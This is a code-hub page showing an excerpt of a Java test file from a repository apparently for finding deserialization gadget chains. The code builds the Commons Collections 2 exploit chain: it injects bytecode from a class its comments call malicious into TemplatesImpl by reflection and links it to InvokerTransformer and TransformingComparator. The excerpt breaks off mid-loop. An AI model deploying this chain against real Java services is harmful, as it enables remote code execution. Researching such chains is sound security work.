MCPcopy Create free account
hub / github.com/GCMiner/GCMiner / main

Method main

src/test/java/CC/CC2Test.java:30–161  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

28
29public class CC2Test {
30 public static void main(String[] args) throws Exception {
31 //构造恶意类TestTemplatesImpl并转换为字节码
32 ClassPool classPool = ClassPool.getDefault();
33 CtClass ctClass = classPool.getCtClass("CC.TestTemplatesImpl");
34 byte[] bytes = ctClass.toBytecode();
35
36 //反射创建TemplatesImpl
37 Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
38 Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
39 Object TemplatesImpl_instance = constructor.newInstance();
40
41 //将恶意类的字节码设置给_bytecodes属性
42 Field bytecodes = aClass.getDeclaredField("_bytecodes");
43 bytecodes.setAccessible(true);
44 bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});
45
46 //设置属性_name为恶意类名
47 Field name = aClass.getDeclaredField("_name");
48 name.setAccessible(true);
49 name.set(TemplatesImpl_instance, "TestTemplatesImpl");
50
51 //构造利用链
52 InvokerTransformer transformer = new InvokerTransformer("newTransformer", null,null);
53 TransformingComparator transformer_comparator = new TransformingComparator(transformer,null);
54 System.out.println(transformer);
55 System.out.println(System.getProperty("file.encoding"));
56
57 String[] classlist = {
58 "org.apache.commons.collections4.comparators.TransformingComparator",
59 "org.apache.commons.collections4.functors.InvokerTransformer"
60 };
61 Object[] object_list = new Object[classlist.length]; // 声明一个对象数组
62
63 System.out.println("================对象生成=================");
64 int object_sort = 0;
65 for (String classname: classlist) {
66 System.out.println(classname);
67 Class<?> target_classname = Class.forName(classname);
68 Constructor[] constructor_classname=target_classname.getConstructors();
69
70 Class[] para_list = null;
71 int para_len = 0;
72 for (Constructor each_constructor:constructor_classname) {
73 //获取参数列表
74 Class [] paramType=each_constructor.getParameterTypes();
75 /* System.out.println(paramType.length);*/
76 if (paramType.length > para_len) {
77 Class[] local_list = new Class[paramType.length];
78 int i = 0;
79 for (Class param : paramType) {
80 if (i < paramType.length) {
81 local_list[i] = param;
82 i++;
83 }
84 }
85 para_len = paramType.length;
86 para_list = local_list;
87 }

Callers

nothing calls this directly

Calls 1

getClassMethod · 0.80

Tested by

no test coverage detected